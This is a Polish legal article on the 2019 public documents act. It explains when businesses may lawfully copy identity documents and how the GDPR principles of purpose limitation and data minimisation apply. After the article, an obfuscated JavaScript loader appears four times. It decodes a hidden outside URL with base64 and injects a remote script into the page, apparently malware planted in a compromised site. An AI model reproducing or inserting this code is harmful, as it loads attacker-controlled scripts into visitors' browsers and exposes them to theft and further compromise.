12 lipca 2019 r. weszła w życie ustawa o dokumentach publicznych („Ustawa”), której celem było przede wszystkim zwalczenie wytwarzania i obrotu tzw. „kolekcjonerskimi” dowodami tożsamości i innymi dokumentami publicznymi. Dlatego też, w Ustawie znalazł się przepis, przewidujący sankcję grzywny, kary ograniczenia wolności albo pozbawienia wolności do lat 2 za wytwarzanie, oferowanie, zbywanie lub przechowywanie w celu zbycia repliki dokumentu publicznego.
Efekt burzy medialnej
Stanowisko Prezesa Urzędu Ochrony Danych Osobowych („PUODO”) wydane w związku z wejściem w życie przepisów Ustawy, zgodnie z którym m.in. „art. 112b ustawy Prawo bankowe nie pozwala bankom wykonywać kserokopii i skanów dowodów osobistych klientów, żeby np. założyć konto bankowe czy zbadać zdolność kredytową klienta.” było szeroko i negatywnie komentowane przez wielu ekspertów. Moim zdaniem, treść ww. stanowiska była dalece niefortunna i w dużej mierze ograniczyła wszelkie medialne doniesienia o Ustawie do skróconego, nie do końca zgodnego z prawdą newsa o „braku możliwości kopiowania dowodów tożsamości przez banki”. Efektem powyższego była fala sprzeciwów klientów banków wobec kopiowania ich dowodów tożsamości, jak również niedostrzeżenie Ustawy oraz wprowadzonych sankcji m.in. za kopiowanie dokumentów publicznych przez wielu przedsiębiorców.
Czym jest replika dokumentu publicznego i kiedy można ją wykonać?
Według definicji ustawowej przez replikę dokumentu publicznego należy rozumieć odwzorowanie lub kopię wielkości od 75% do 120% oryginału o cechach autentyczności dokumentu publicznego lub blankietu dokumentu publicznego, z wyłączeniem kserokopii lub wydruku komputerowego dokumentu publicznego wykonanych do celów urzędowych, służbowych lub zawodowych określonych na podstawie odrębnych przepisów lub na użytek osoby, dla której dokument publiczny został wydany.
W dużym skrócie, w szczególności mając na uwadze powyższe stanowisko PUODO, należy przyjąć, że kopiowanie dokumentów publicznych, czyli m.in. dowodów tożsamości, praw jazdy, paszportów jest legalne jedynie wtedy, gdy uprawnienie wykonywania tego typu kopii wynika wprost z przepisów aktu prawnego będącego ustawą lub w przypadku, w którym dokonywane jest na użytek osoby, dla której taki dokument został wydany.
W związku z powyższym, każdy przedsiębiorca przed rozpoczęciem wykonywania kopii np. dowodów osobistych swoich klientów musi ustalić przepis ustawy, która go do tego uprawnia.
Przykładem takiego przepisu jest art. 34 ust. 4 Ustawy o przeciwdziałaniu praniu pieniędzy oraz finansowaniu terroryzmu, na podstawie którego m.in. banki mogą sporządzać kopie dokumentów tożsamości swoich klientów. Zgodnie z tym przepisem instytucje obowiązane, na potrzeby stosowania środków bezpieczeństwa finansowego, mogą przetwarzać informacje zawarte w dokumentach tożsamości klienta i osoby upoważnionej do działania w jego imieniu oraz sporządzać ich kopie.
Co istotne, brak przepisu umożliwiającego wykonanie kopii dokumentu publicznego nie jest jednoznaczny z brakiem możliwość przetwarzania danych widniejących na takim dokumencie. Podstawa przetwarzania konkretnych danych zawsze powinna być ustalana w oparciu o art. 6 ust. 1 RODO (w przypadku tzw. zwykłych kategorii danych) lub 9 ust. 2 RODO (w przypadku tzw. szczególnych kategorii danych).
Celowość i minimalizacja danych
Po ustaleniu przepisu stanowiącego podstawę wykonywania kopii dokumentów publicznych, przed przystąpieniem do zbierania takich kopii, przedsiębiorca powinien dokonać analizy mającej na celu potwierdzenie konieczności zbierania przez niego takich danych, przy uwzględnieniu zasady ograniczenia celu i minimalizacji danych wynikających z art. 5 RODO.
Należy pamiętać, że w myśl powyższych zasad dane osobowe muszą być zbierane w konkretnych, wyraźnych i prawnie uzasadnionych celach i nieprzetwarzane dalej w sposób niezgodny z tymi celami, a także być adekwatne, stosowne i ograniczone do tego, co niezbędne do celów, w których są przetwarzane.
(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
